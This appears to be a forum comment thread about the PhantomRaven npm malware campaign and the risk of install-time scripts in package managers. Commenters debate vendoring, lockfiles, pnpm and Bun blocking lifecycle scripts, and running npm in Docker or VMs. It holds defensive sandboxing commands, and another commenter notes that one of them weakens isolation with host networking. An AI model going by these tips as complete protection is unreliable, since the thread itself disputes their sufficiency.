What's the legitimate use case for a package install being allowed to run arbitrary commands on your computer?
Quote is from the researchers report https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-i...
edit: I was thinking of this other case that spawned terminals, but the question stands: https://socket.dev/blog/10-npm-typosquatted-packages-deploy-...
Personally, I think the issue is that it is too easy to create packages that people can then pull too easily. rpm and dpkg are annoying to write for most people and require some kind of (at least cursory) review before they can be installed on user's systems from the default repos. Both of these act as barriers against the kinds of lazy attacks we've seen in the past few months. Of course, no language package registry has the bandwidth to do that work, so Wild West it is!
Surely there are ways to just stick to absolute basics and you can get quite far with what is built in or some very small libraries, but I guess it depends on where you would be most productive.
What’s needed is an entitlements system so a package you install doesn’t do runtime stuff like install crypto mining software. Even then…
So preventing lifecycle scripts certainly limits the number of packages that could be exploited to get access to the installing machine. It's common for javascript apps to have hundreds of dependencies, but only a handful of them will ever actually run as code on the machine that installed them.
And with node you get files and the ability run arbitrary code on arbitrary processes.
the npm version is decoupled from the binary version, when i want them locked together
A) maintainers don’t know any better and connect things with string and gum until it most works and ship it
B) people who are smart, but naive and think it will be different this time
C) package manager creators who think they’re creating something that hasn’t been done before, don’t look at prior art or failures, and fall into all of the same holes literally every other package manager has fallen into and will continue to fall into because no one in this industry learns anything.
It pains me to remember that the reason LLMs write like this is because many humans did in the training data.
In about as much text, we could explain far better why and how NPM's behaviour is risky:
> When you install a package using `npm install`, NPM may also run arbitrary code from the package, from multiple hook scripts specified in `package.json`, before you can even audit the code.
I assume that it's heavily sandboxed, though, so it may be difficult to leverage.
[0] https://docs.swift.org/swiftpm/documentation/packagemanagerd...
[1] https://developer.apple.com/documentation/packagedescription
They use proinstall script to fetch pre-built binaries, or compile from source if your environment isn't directly supported.
The paradigm itself has been in package managers since DEB and RPM were invented (maybe even Solaris packages before that? it's been a minute since I've Sun'd); it's not the same as NPM, a more direct comparison is the Arch Linux AUR - and the AUR has been attacked to try and inject malware all year (2025) just like NPM. As of the 26th (5 days ago) uploads are disabled as they get DDOSed again. https://status.archlinux.org/ (spirit: it's the design being attacked, pain shared between AUR and NPM as completely disparate projects).
More directly to an example: the Linux kernel package. Every Linux distribution I'm aware of runs a kernel package post-install script which runs arbitrary (sic) commands on your system. This is, of course, to rebuild any DKMS modules, build a new initrd / initramfs, update GRUB bootloader entries, etc. These actions are unique outputs to the destination system and can't be packaged.
I have no data in front of me, but I'd speculate 70% (?) of DEB/RPM/PKG packages include pre / post install/uninstall scriptlets, it's very common in the space and you see it everywhere in use.
The truth is npm, pip, rubygems, cargo and all the other programming language package managers are just fancier versions of the silly installation instructions you often find in README files that tell people to curl some script and pipe it into bash.
NPM etc. are a bit like Arch would be if everything was in AUR.
Overlay version control systems like NPM, Cargo, etc. and their harebrained schemes involving "lockfiles" to paper over their deficiencies have evidently totally destroyed not just folks' ability to conceive of just using an SCM like Git or Mercurial to manage source the way that they're made for without introducing a second, half-assed, "registry"-dependent VCS into the mix, but also destroyed the ability to recognize when a comment on the subject is dripping in the most obvious, easily detectable irony.
This is because you have redefined the problem—partly as a way of allowing you to avoid addressing it, and partly to allow you to speak of lockfiles as a solution to that problem. See <https://news.ycombinator.com/item?id=45824392>.
Lockfiles do not solve the problem. They are the problem.
This is what I wrote:
> Overlay version control systems like NPM, Cargo, etc. and their harebrained schemes involving "lockfiles" to paper over their deficiencies have evidently totally destroyed […] folks' ability to conceive of just using an SCM like Git
That's the problem that I'm talking about—lockfiles. Or, more specifically: the insistence on practicing a form of version control (i.e. this style of dependency management that the current crop of package managers tell people is the Right Way to do things) that leads to the use of lockfiles—for the sole purpose of papering over the issues that were only introduced by this kind of package manager—and for people to be totally unaware of the water they're swimming in under this arrangement.
Everyone is familiar with the concept of "a solution in need of a problem". That's exactly what lockfiles are.
Go-style vendoring does dump everything into a directory but that has other downsides. I also question how effectively you can audit dependencies this way -- C developers don't have to do this unless there's a problem they're debugging, and at least for C it is maybe a tractible problem to audit your entire dependency graph for every release (of which there are relatively few).
Unfortunately IMHO the core issue is that making the packaging and shipping of libraries easy necessarily leads to an explosion of libraries with no mechanism to review them -- you cannot solve the latter without sacrificing the former. There were some attempts to crowd-source auditing as plugins for these package managers but none of them bore fruit AFAIK (there is cargo-audit but that only solves one part of the puzzle -- there really needs to be a way to mark packages as "probably trustworthy" and "really untrustworthy" based on ratings in a hard-to-gamify way).
Maybe in a perfect world, we’d all use a better VCS whose equivalent of submodules actually could do that job. We are not in that world yet.
You wrote—alluding to, but without actually stating—the reasons why registries and package managers for out-of-tree packages that subvert the base-level VCS were created:
> Yeah, people invented the concept of packages and package management because they couldn’t conceive of vendoring (which is weird considering basically all package managers make use of it themselves) and surely not because package management has actual benefits.
This is a sarcastic comment. It using irony to make the case that the aforementioned trio (packages, package managers, package registries), etc. were created for good reason (their "actual benefits").
Do you know what the reasons are? Can you reply here stating those reasons? Be explicit. Preferably, putting it into words in a way that can be tested (falsified)—like the way the claim, "We can reduce the size of our assets on $PROJECT_Z by storing the image data as PNG instead of raw bitmaps" is a claim that lends itself to being tested/falsified—and not just merely alluding to the good reasons for doing $X vs $Y.
What, specifically, are the reasons that make these out-of-tree, never-committed packages (and the associated infrastructure involving package registries, etc.) a good strategy? What problem does this solve? Again: please be specific. Can it be measured quantitatively?
That is, when a security issue is found, regardless of supply chain tooling one would update.
That there is a little cache/mirror thing in the middle is of little consequence in that case.
And for all other cases the blessed versions in your mirror are better even if not latest.
Somewhat related, I also have a small homelab running local services and every now and then I try a new technology. occasionally I’ll build a little thing that is neat and could be useful to someone else, but then I worry that I’m just a target for some bot to infiltrate because I’m not sophisticated enough to stop it.
Where do I start?
For the case of general software, "Don't use node" would be my advice, and by extension any packaging backend without external audit and validation. PyPI has its oopses too, Cargo is theoretically just as bad but in practice has been safe.
The gold standard is Use The Software Debian Ships (Fedora is great too, arch is a bit down the ladder but not nearly as bad as the user-submitted madness outside Linux).
But it seems like your question is about front end web development, and that's not my world and I have no advice beyond sympathy.
> occasionally I’ll build a little thing that is neat and could be useful to someone else, but then I worry that I’m just a target for some bot
Pretty much that's the problem exactly. Distributing software is hard. It's a lot of work at a bunch of different levels of the process, and someone needs to commit to doing it. If you aren't willing to commit your time and resources, don't distribute it in a consumable way (obviously you can distribute what you built with it, and if it's appropriately licensed maybe someone else will come along and productize it).
NPM thought they could hack that overhead and do better, but it turns out to have been a moved-too-fast-and-broke-things situation in hindsight.
You don't get secure things for free, you have to pay for that by doing things like "import and audit software yourself" or even "write simple utilities from scratch" on occasion.
(That might hint that I'm not doing trendy things.)
IME Debian is falling behind on security fixes.
FWIW, the subject at hand here isn't accidentally introduced security bugs (which affect all software and aren't well treated by auditing and testing). It's deliberately malicious malware appearing as a dependency to legitimate software.
So the use case here isn't Heartbleed, it's something like the xz-utils trojan. I'll give you one guess as to who caught that.
One obvious further mitigation for Python is to configure your package installer to require pre-built wheels, and inspect the resulting environment prior to use. Of course, wheels can contain all sorts of compiled binary blobs and even the Python code can be obfuscated (or even missing, with just a compiled .pyc file in its place); but at least this way you are protected from arbitrary code running at install time.
Do development, all of it, inside VMs or containers, either local or remote.
Use ephemeral credentials within said VMs, or use no credentials. For example, do all your git pulls on your laptop directly, or in a separate VM with a mounted volume that is then shared with the VM/containers where you are running dev tooling.
This has the added benefit of not only sandboxing your code, but also making your dev environments repeatable.
If you are using GitHub, use codespaces. If you are using gitlab, workspaces. If you are using neither, check out tools like UTM or Vagrant.
Im genuinely curious because I casually looked into it so that i could work on some hobby stuff over lunch on my work machine.
However I just assumed the performance wouldn't be too great.
Would love to hear how people are setup…
Then, I removed the graphical settings, as I was aiming to use SSH instead of emulated TTY that comes ON by default with UTM (at that time).
Finally, I set up some basic scripting to turn the machine on and SSH into it as soon as sshd.service was available, which I don't have now, but the script finished with this:
(fish shell)
while not ssh -p 2222 arch@localhost; sleep 2; end;
Later it evolved in something like this: virsh start arch-linux_testing && virsh qemu-monitor-command --hmp arch-linux_testing 'hostfwd_add ::2222-:22' && while not ssh -p 2222 arch@localhost; sleep 2; end;
I also removed some unnecessary services for local development: arch@archlinux ~> sudo systemctl mask systemd-time-wait-sync.service
arch@archlinux ~> sudo systemctl disable systemd-time-wait-sync.service
And done, performance was really good and I could develop on seamlessly.[1]: https://gitlab.archlinux.org/archlinux/arch-boxes/-/packages...
Pretty soon I liked using the environment so much that I got my work running on it. And when I change the environment, I can sync it to my other machine.
Though NixOS is particularly magical as a dev environment since you have a record of everything you've done. Every time I mess with postgres hb_conf or nginx or pcap or on my local machine, I think "welp, I'll never remember that I did that".
There's around 10-15% performance penalty for VMs (assuming you use arm64 guests), but the whole system is just so much faster and well built than anything Intel-based to day, that it more than compensates.
For Windows, it's lacking accelerated video drivers, but VMWare Fusion is an ok free alternative - I can totally play AAA games from last decade. Enjoy it until broadcom kills it.
Whether or not it’s a good idea, “realistic” implies practicality, which could presumably be measured by whether people find it worthwhile to do the thing.
Aren't you're a bit asking "When X transportation method isn't used by everyone, can it really be any good?" :-)
When I was developing server software for Windows, the first time I was able to setup a development environment by simply cloning a VM instead of spending a day-and-a-half with a lap full of MSDN CDs/DVDs, I never went back.
Prior to that, I was happily net-booting *BSD/Solaris servers all over my house/apartment.
Nowadays, we have so many tools to make this trivial. Your contention doesn't stand up to basic scrutiny of the available data.
If you are downloading software from untrusted sources (e.g. NPM, pip, and others) and running it on your primary working machine, or personal machine, then you are simply begging for trouble.
The fact I use nvm means a global install won’t cross accounts.
I still maintain pushing this back to library authors is the right thing to do instead of making this painful for literally millions of end-users. The friction of getting a package accepted into a critical mass of distributions is the point.
https://npmgraph.js.org/?q=hono
https://npmgraph.js.org/?q=zod
Recently I switched to Bun in part because many dependencies are already included (db driver, s3 client, etc) that you'd need to download with Node or Deno.
Vendoring dependencies (copying the package code into your project rather than using the package manager to manage it) can help - it won't stop a malicious package, but it will stop a package from turning malicious.
You can also copy the code you need from a dependency into your code (with a comment giving credit and a link to the source package). This is really useful if you just need some of the stuff that the package offers, and also forces you to read and understand the package code; great practice if you're learning.
I think we need a different solution that fixes the dependency bloat or puts more safeguards around package publishing.
The same goes for any other language with excessive third-party dependency requirements.
It's going to take a lot of people getting pwned to change these attitudes though
That’s not to say it’s hopeless. Rather, it’s more likely that widespread improvement will need to be centrally orchestrated rather than organic in response to hacks.
Any package that includes a CLI version in the library should have it's dev shamed. Usually that adds 10-20 packages. Those 2 things, a library that provides some functionality, and a CLI command that lets you use the library from the command line, SHOULD NEVER BE MIXED.
The library should be its own package without the bloat of the command line crap
(2) Choose low dependency packages
Example: commander has no dependencies, minimist now has no dependencies. Some other command line parsers used to have 10-20 dependencies.
(3) Stop using packages when you can do it yourself in 1-2 lines of JS
You don't need a package to copy files. `fs.copyFileSync` will copy a file for. `fs.cpSync` will copy a tree, `child_process.spawn` will spawn a process. You don't need some package to do these things. There's plenty of other examples where you don't need a package.
After your little rant you point out Commander has zero dependencies. So I don’t know what’s up with you.
If the library you’re building has anything with application lifecycle, particularly bootstrapping, then having a CLI with one dependency is quite handy for triage. Most especially for talking someone else through triage when for instance I was out and there was a production issue.
Which is why half the modules I worked on at my last place ended up with a CLI. They are, as a rule, read mostly. Which generally doesn’t require an all caps warning.
Does every module need one of those? No. But if your module is meant as a devDependency, odds are good it might. And if it’s bootstrapping code, then it might as well.
> should have it's dev shamed
Oh I feel embarrassed right now. But not for me.
Neither is a security guarantee, but it does add a substantial extra barrier.
I have used Node, I would not go near the NPM auto install Spyware service.
How is it possible that people keep this service going, when it has been compromised so regularly?
How's it possible that people keep using it?
alias npm='docker run --rm -it -v ${PWD}:${PWD} --net=host --workdir=${PWD} node:25-bookworm-slim npm'
- No access to my env vars
- No access to anything outside my current directory (usually a JS project).
- No access to my .bashrc or other files.
Ref: https://ashishb.net/programming/run-tools-inside-docker/If only :(
Also I can recommend pnpm, it has stopped executing lifecycle scripts by default so you can whitelist which ones to run.
I won't execute that code directly on my machine. I will always execute it inside the Docker container. Why do you want to run commands like `vite` or `eslint` directly on your machine? Why do they need access to anything outside the current directory?
Most valuable data on your system for a malware author is login cookies and saved auth tokens of various services.
But it is true that work and personal machines have different threat vectors.
Because it means the hygiene is thrown over the fence in a post commit manner.
AI makes this worse because they also run them "over the fence".
However you run it, i want a human to hold accountability for the mainline committed code.
How does this throw hygiene over the fence?
is he just saying always run your code in a container?
> is he just saying always run your code in a container?
yes
> isn't that running things on your machine?
in this context where they're explicitly contrasted, it isn't running things "directly on my machine"
Imagine you are in a 50-person team that maintains 10 JavaScript projects, which one is easier?
- Switch all projects to `pnpm`? That means switching CI, and deployment processes as well
- Change the way *you* run `npm` on your machine and let your colleagues know to do the same
I find the second to be a lot easier.Further, you are welcome to use this alias on your CI as well to enhance the protection.
CI machines are very much high-value targets of interest.
Yes, but if I've got to configure that across the CI fleet as well as in my deploy system(s) in order to not get, and also be distributing malware, what's the difference between having to do that vs switching to pnpm in all the same places?
Or more explicitly, your first point is invalid. Whether you ultimately choose to use docker to run npm or switch to pnpm, it doesn't count to half-ass the fix and only tell your one friend on the team to switch, you have to get all developers to switch AND fix your CI system, AND also your deployment system (s) (if they are exposed).
This comment proffers no option on which of the two solutions should be preferred, just that the fix needs to made everywhere.
The secure process change might take anywhere from a day to months.
And npm can be configured to prevent install scripts to be run anyways:
> Consider adding ignore-scripts to your .npmrc project file, or to your global npm configuration.
But I do like your option to isolate npm for local development purposes.
> Switch all projects to `pnpm`?
Sorry; I am out of touch. Does pnpm not have these security problems? Do they only exist for npm?
As phiresky points out, you're still "download[ing] arbitrary code you are going to execute immediately afterwards" (in many/most cases), so it's far from foolproof, but it's sufficient to stop many of the attacks seen in the wild. For example, it's my understanding that last month's Shai-Hulud worm depended on postinstall scripts, so pnpm's restriction of postinstall scripts would have stopped it (unless you whitelist the scripts). But last month's attack on chalk, debug, et al. only involved runtime code, so measures like pnpm's would not have helped.
Switch your projects once, done for all.
> really just downloads arbitrary code you are going to
> execute immediately afterwards anyways?
I don't want to stereotype, but this logic is exactly why javascript supply chain is in the mess its in.
Because the counter-question could be: Why would anything but ssh or ansible need access to my ssh keys? Why would anything but firefox need access to the local firefox profiles? All of those can be mapped out with mount namespaces from the execution environment of most applications.
And sure, this is a blacklist approach, and a whitelist approach would be even stronger, but the blacklist approach to secure at least the keys to the kingdom is quicker to get off the ground.
There is a gazillion list of tools that can give someone analysis paralysis. Here's my simple suggestion: all of your backend team already knows (or should) learn Docker for production deployments.
So, why not rely on the same? It might not be the most efficient, but then dev machines are mostly underutilized anyway.
By default it directly runs code as part of the download.
By isolation there is at least a chance to do some form of review/inspection
If I had malicious intentions, I would probably typo squat popular plugins/lsps that will execute code automatically when their editor runs. A compromised neovim or vscode gives you plenty of user permissions, a full scripting language, ability to do http calls, system calls, etc. Most LSPs are installed globally, doesn't matter if you downloaded it via a docker command.
Running `npm` inside Docker does not solve this problem. However, running `npm` inside Docker does not make this problem worse either.
That's why I said running `npm` inside Docker reduces the attack surface of the malicious NPM packages.
Setting up a fully containerized development environment doesn't take a lot of effort and will provide the benefits you think you're getting here - that would be the "imperfect but good enough for the moment" kind of solution, this is just security theater.
Every time I make this point someone wants to have the "imperfect but better than nothing" conversation and I think that shows just how dangerous the situation is becoming. You can only say that in good conscience if you follow it up with "better than nothing ... until I figure out how to containerize my environment over the weekend"
What you can do, however, is to adapt to current threats, the same way adversaries adapt to countermeasures. Fully secure setups do not exist, and even if one existed, it would probably become obsolete very quickly. Like James Mickens said, whatever you do, you still can be "Mossad'ed upon". Should we give up implementing security measures then?
Thinking about security in a binary fashion and gatekeeping it ("this is not enough, this is will not protect you against X and Y") is, _in my opinion_, very detrimental.
If a supply chain attack would be a serious incident for you then you need to take meaningful actions to protect yourself. I'm trying to hold "you" (proponents of this idea) accountable because I don't want you to rationalize all of these actions that leave you wide open to future attacks in known, preventable ways and then pretend nobody could've seen this coming when it blows up in our face.
It's not "good enough" - it's negligence because you know that the hole is there, you know that the hackers know about it, you know how trivial it is to exploit, and yet we're arguing whether leaving this known vector open is "good enough" instead of taking the obvious next step.
Containers are very far away from "fully secure" setup, they suffer from escape vulnerabilities far more often than VMs, but their benefit is that they're lightweight and minimally obtrusive (especially for web development) and these days the integration with IDEs is so good you probably won't even notice the difference after a few days of adjusting to the new workflow.
You end up trading a bit of convenience for a lot of security - you're going to be reasonably well protected for the foreseeable future because the likelihood of someone pulling off a supply chain attack and burning a container escape 0-day on it is really low.
That should be good enough for most and if your developer machine needs more protection than this, I'll take a guess and say that your production security requirements are such that they require security review of all your dependencies before using them anyway.
With a VM you would get even more security but you would have to sacrifice a lot more convenience, so given the resistance to the less intrusive option this isn't even worth discussing right now.
How can you not see the nuance?
I use sandbox-run: https://github.com/sandbox-utils/sandbox-run
The above simple alias may work for node/npm, but it doesn't generalize to many other programs available on the local system, with resources that would need to be mounted into the container ...
Thanks. You are right, running inside Docker won't always work for local commands. But I am not even using local commands.
Infact, I have removed `yarn`, `npm`, and several similar tools already from my machine.
It is best to run them inside Docker.
> I use sandbox-run: https://github.com/sandbox-utils/sandbox-run
How does this work if my local command is a Mac OS binary? How will it run inside Docker container?
At the very least, you really need to add process isolation / namespacing as well - at which point it's going to be easier to just use the sandboxing / containerisation tool of your choice to manage it all for you.
If you want to protect your machine from malicious dependencies you must run everything in a sandbox all the time, not just during the installation phase. If you follow that advice then disabling post-install scripts is pointless.
The supply chain world is getting more dangerous by the minute and it feels like I'm watching a train derail in slow motion with more and more people buying into the idea that they're safe if they just disable post-install scripts. It's all going to blow up in our collective faces sooner or later.
Improving NPM's processes, having more companies auditing packages, changing the way NPM the tool works - that's all good but far from enough, it doesn't actually address the root vulnerability, which is that we're way too comfortable running other people's arbitrary code.
Containerization and strict permissions system by default seem to be where we're headed.
I have been doing it for weeks now with no issues.
Your specific setup uses `--net=host` and this opens you up to potential vulnerabilities (see [2]).
You also shouldn't forget that containers have unrestricted network access bu default anyway. Even if your device is safe, they may be able to infect other vulnerable devices on your network.
[1]: https://docs.docker.com/security/security-announcements/#doc... [2]: https://github.com/0xn3va/cheat-sheets/blob/main/Container/E...
alias npm='docker run --rm -it -v "$PWD:$PWD" --net=host --workdir="$PWD" node:25-bookworm-slim npm'
...Does this always work? I don't use much JS. Doesn't NPM sometimes build against system libs, which could be different in the container?Yeah, fair point.
> Doesn't NPM sometimes build against system libs, which could be different in the container?
Yes, and I run all JS inside a container.
I don't usually get to say 'I told you so' within 24 hours of a warning, but JS is special like that.
The problem is we've been coasting on an era where blind trust was good enough an programming was niche enough.
In c++, most people wouldn't publish a library that does the equivalent of (1 == value % 2). Even if they did, almost no one would use it. For npm, that library will not only exist, it will have several dependencies and millions of downloads
A few years back, the university of Minnesota was banned from the kernel (are they still banned?) for testing this exact theory. They tried to figure out how hard it would be to inject an intentional CVE into the kernel.
[1] https://www.bleepingcomputer.com/news/security/linux-bans-un...
The university of Minnesota would have had a much easier time not getting caught if there had been a tree of thousands of independently maintained dependencies
When I iterate with new versions of a package that I’ve never promoted anywhere, each version gets hundreds of downloads in the first day or two of being published.
86,000 people did not get pwnd, possibly even zero.
I would not be surprised to find that 80%+ of those 86,000 people got pwned.
> Many of the dependencies used names that are known to be “hallucinated” by AI chatbots.
There’s more here than that.
When I build backend in flask or Django, I specifically type the python packages that I need. But front end development seems like a Pandora box of vulnerabilities
Recently there is a trend towards minimal-dependency packages and I would certainly recommend auditing every package for its dependencies before using it.
Having a large standard library does reduce the number of dependencies, and you can go a long way using only well known dependencies.
When I downloaded wan2gp (python) it installed it install 211 packages.
NPM is a terrible ecosystem, and trying to defend its current state is a lost cause. The energy should be focused on how to fix that ecosystem instead of playing dumb telling people "it's all ok, look at other, also poorly designed, systems".
Don't forget that Rust's Cargo got heavily inspired by NPM, which is not something to brag about.[0]
> "Rust has absolutely stunning dependency management," one engineer enthused, noting that Rust's strategy took inspiration from npm's.
[0]https://rust-lang.org/static/pdfs/Rust-npm-Whitepaper.pdf
You now have to audit the hundreds of dependencies. Each time you upgrade them.
Rust is compiled and source code doesn't weigh that much, you could have the compiler remove dead code.
And sometimes it's just better to review and then copy paste small utility functions once.
I get the impression that one driver to make microdependencies in rust is that code does weigh a lot because the rust compiler is so slow.
For a language with a focus on safety, it's a pretty bad choice
It depends on the software being written, but if it's a product your business sells or otherwise has an essential dependency on, then the best model available right now is vendoring dependencies.
You still get all the benefits of standing on top of libraries and frameworks of choice, but you've introduced a single point of entry for externally authored code - there are many ways you can leverage that to good effect (vuln scans, licence audits, adding patch overlays etc etc) and you improved the developer experience - when they check out the code, ALL of the code to build and run the project is already present, no separate npm install step.
You can take this model quite a bit further and buy some really useful capabilities for a development team, like dependency upgrades because they're a very deliberate thing now, you can treat them like any other PR to your code base - you can review the changes of each upgrade easily.
There's challenges too - maybe your npm dep builds a native binary as part of it, you now need to provide that build infra / tooling, and very likely you also want robust build artifact and test caching to save wasting lots of time.
Some of the gaps feel huge, like no random, no time/date handling, and no async runtime. But but for most of them there are canonical packages that 95% of the ecosystem uses, with a huge amount of eyeballs on them. And sometimes a better solution does emerge, like jiff slowly replacing chrono and time for time/date handling.
Obviously this isn't the best solution from a security perspective. There would be less potential for supply chain attacks if everything was in the standard library. But that has to be weighed against the long-term usability of the language
And those last two points have absolutely nothing to do with micro dependencies one way or the other.
But it is. Both C/C++ and Go are not at all like this.
I don’t know about Python but Rust ecosystem tends attract enthusiasts who make good single purpose packages but that are abandoned because maintainers move on, or sometimes forked due to minor disagreements similar to how Linux/unix is fragmented with tribal feuds.
Even your OS upstream packages could be tainted at this point.
I would be willing to bet attacks on linux upstream libraries are already happening in the same way as the js ecosystem.
And yeah I'm trusting my OS (Linux) and the libraries that is in their repository.
We could go deeper than that. What about hardware? None of it is open source.
Where does it end? What can we do about it?
https://www.euronews.com/next/2024/08/12/eleven-eu-countries...
What can we do about it indeed!? I guess its either fully digitally detox or accept the fact that if you use modern technology then somebody is watyching what you do.
> Unlike other npm clients, Bun does not execute arbitrary lifecycle scripts for installed dependencies, such as `postinstall` and `node-gyp` builds. These scripts represent a potential security risk, as they can execute arbitrary code on your machine.
https://bun.com/docs/guides/install/trusted
I've also found the Bun standard library is a nice curated set of features that reduces dependencies.
It is like the xz incident, except that each dependency you pull is maintained by a random guy on the internet. You have to trust every one of them to be genuine and that they won't fall into any social engineering attacks.
Oh, absolutely, there is no question about it. Fewer dependencies means less headache; and if you can get the number of your dependencies to zero, then you have won the internet.
The blurring of the client-server lines is a security risk. Very easy to expose the wrong thing; the language appeals to people who know 1 language (which correlates with lack of experience).
In my personal experience node projects developed under my supervision had very basic client-server boundary vulns 66.67% of the time. Empirically it's not great.
I found it very interesting that they used common AI hallucinated package names.
To me the entire JavaScript ecosystem is broken. And a typo in your “npm -i” is sufficient to open up yourself for a supply-chain attack. Could the same happen with NuGet or Maven? Sure!
But at least in these languages and environments I have a huge Standard Library and very few dependencies to take. It makes me feel much more in control.
This limits the attack surface, when it comes to installing malicious dependencies, that npm happily installs for you.
So yes, I was wrong and my previous comment a hyperbole. A big problem is npm, and not JavaScript.
My point about the staggering amount of dependencies still holds though.
There have been attempts to do this kind of sandboxing before. Java and .NET both used to have it. Both dropped it because it turns out that properly sandboxing stuff is hard.
https://github.com/evilsocket/opensnitch/discussions/1290
that malware campaign is still active.
Coming from "make" with repeatable and predictable builds, I was appalled that you run this thing and you have no idea what it will download and what it will produce. Could be something different the next time you run it! Who knows!
I also found it bizarre that even for things that just generate CSS, you are expected to integrate it into your npm thing. I mean, generating CSS from a configuration is a function. It's a make recipe. Why does it need to be an npm library dependency with all the associated mess? I managed to work around it for a number of packages by freezing entire npm setups inside docker containers, which gave me reproducible builds — but it's a losing battle.
Did you then spend a month or two inspecting that setup? Did you do that after every dependency upgrade?
Also both NPM and PNPM already freeze dependencies for you by default without any arcane docker setups.
TBH, I never updated some of the setups. What's the point? Their job was to generate a CSS. Why would I want to upgrade dependencies or inspect that setup?
> arcane docker setups
I take issue with "arcane" — I have much more "arcane" setups than these :-)
Lowering the barrier to entry is not paying off, for sure.
Too lazy to write, too cheap to pay for it, that's half of open source.
Now what's going to dominate stackoverflow answers, thoughtful articles on how to program? Or gratis npm/uv installable libraries that hide the actual solution details in between tests and polyfills and readmes, that end up just download another dependency while contributing enough lines of code so that the author can safely put it in their resume and grift over the oss ecosystem to get a cushy 300k/yr job at an extended faang where they are in charge of an ad pixel tracker or yet another one of those wallet things that are just an IO proxy for money but they get to keep some comission if they spend enough money on ads to convince someone to use the thing once and then it becomes their main neo(not) bank* forever.
*for regulatory reasons we must not call it a bank, but it's a bank
I don't think the old C/C++ way of relying on distro package managers would allow for the fast ecosystems people work nowadays.
Things are changing though, and people are pushing for more secure package managers with the same feature set as the old ones, which is possible.
I think this is the missing piece on the first wondering part of your comment. But I don't think we should be bashing the means without understanding the reasons
How does that work when enevitably those npm packages are shown to have vulnerabilites?
I think security controls on macOS have been trending in the right direction to tackle these types of things comprehensively with secure domains, sandboxing, etc. but there is always a war of how much friction is too much when it comes to security.
We saw the same thing with 2SV where people were vehemently against it, and now many are clamoring that it should be the only way to be able to do things like publish packages (I agree! I have no issue jumping through some extra hoops when I publish something a million people will install).
This might be a hot take but I think a lot of loud mouths with their personal preferences have been holding security in this space back for a while, and recently people seem to be getting tired of it and pushing through. The engineering leadership that won't just make these types of high impact security decisions because it might irritate a handful of highly opinionated workflows is unfortunate!
There is nothing about Go, or Cargo, or Nuget, or any of the other systems that prevents criminals from committing crimes. Some cleverness can slow them down, or block certain roads to exploiting these systems, but managing risk in a supply chain is essential no matter which technology ecosystem is used.
Let's stop name-calling and throwing shade at specific tools and communities and get better at educating new-comers to the trade, and shaming and ostracizing the cyber-criminals who are causing the problems.
NPM ecosystem is very open it is not a bug it is a feature. There are of course issues from being open but NPM already has a lot of security features in place.
edoceo•3mo ago